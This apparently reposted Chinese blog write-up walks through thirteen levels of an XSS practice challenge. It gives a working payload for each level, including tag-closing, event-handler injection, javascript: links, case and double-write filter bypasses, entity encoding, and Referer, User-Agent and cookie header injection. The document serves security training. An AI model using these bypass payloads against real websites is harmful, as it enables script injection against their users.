[xss] xss挑战之旅专题

一个人想着一个人 提交于 2020-02-14 08:24:37

网址:http://test.ctf8.com/


level1

通过修改url可以修改页面显示,判断是反射型xss,利用点在url。

payload

test.ctf8.com/level1.php?name=<script>alert(1);</script>

level2

输入信息在form的input里面,需要把input标签闭合

payload

"/><script>alert(1);</script>

level3

第1步:把level2的payload贴过来
在这里插入图片描述
并没有成功,可以看到输入的信息全部被放在value的双引号中,可能是php给过滤了。

第2步:输入一个1看看
在这里插入图片描述
1也自动被双引号括起来了。(到这里我就不会了, 找writeup)
第3步:输入一个单引号,可以把value的双引号闭合。
在这里插入图片描述
第4步:加个单引号试试'<script>alert(1);</script>
在这里插入图片描述
这样就可以闭合双引号了,接着闭合input标签就可以执行js代码了。这里利用input标签的属性。
第5步:构造' onclick=alert(1)
在这里插入图片描述
看样子差不多了,后面在加个注释试试就成功了。

payload

'onclick=alert(1) //

level4

第1步:使用"onfocus=alert(1),闭合了前面的双引号,但是后面多了一个双引号,注释掉就ok。
第2步:"onfocus=alert(1) //
在这里插入图片描述

payload

"onfocus=alert(1) //

level5

第1步:输入"onclick=alert(1)//被替换成"o_nclick=alert(1)/
第2步:输入"><script>alert(1)</script>被替换成"><s_cript>alert(1)</s_cript>
低3步:大小写绕过也不成功。(又看writeup)
第4步:"><a href=javascript:alert(1)>xss</a>点击xss的连接成功

payload

"><a href=javascript:alert(1)>xss</a>

level6

各种替换onclick-->o_nclick script-->scr_ipt href-->hr_ef
可以大小写绕过

payload

"><Script>alert(1)</Script>
"Onclick=alert(1)//

level7

第1步:"><Script>alert(1)</Script>,没有反应,看源码,发现script被删了,应该是被替换成空。
第2步:使用双写绕过。

payload

"><scscriptript>alert(1)</scrscriptipt>

level8

第1步:确定了双引号闭合不了,在标签外是不可能实现弹框了,只能在双引号内,好在还有一个a标签,可以把输入的信息在a标签的href中显示出来。
第2步:输入javascript:alert(1)
在这里插入图片描述
第3步:确定了大小写也无法绕过
第4步:使用字母r的html实体编码绕过(对于字母,可以使用&#加字母的ascii码来替换)

payload

javasc&#114;ipt:alert(1)

level9

第1步:javascript:alert(1)提示连接不合法
第2步:随便加个urljavascript:alert(1)//http://www.baidu.com结果和level8题目一样
第3步:html实体编码绕过

payload

javasc&#114;ipt:alert(1)//http://www.baidu.com

level10

第1步:观察后发现只能在url中输入,并且查看源码发现有隐藏的表单
第2步:尝试对隐藏的表单进行传参访问
?keyword=0&t_link="type="text"&t_history="type="text"&t_sort="type="text"
发现t_sort是写入点。
第3步:?keyword=0&t_sort="type="text" onclick=alert(1)//

payload

?keyword=0&t_sort="type="text" onclick=alert(1)//

level11

源码和上题类似,写入点在t_ref。
但是写入后发现t_ref没有了。没有思路,果断看writeup
根据标签value值可以看出进行了referer判断,所以写入点在referer
用burpsuite抓包改一下referer头就可以了

payload

Referer: " type="text" onclick=alert(1)//

level12

观察t_ua的value判断应该是把headers写进去了,burpsuite抓包改下User-Agent:

payload

User-Agent: " type="text" onclick=alert(1)//

level13

name是t_cook,感觉应该是cookie内容,修改后发现确实是修改cookie参数。
payload同level11和level12。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!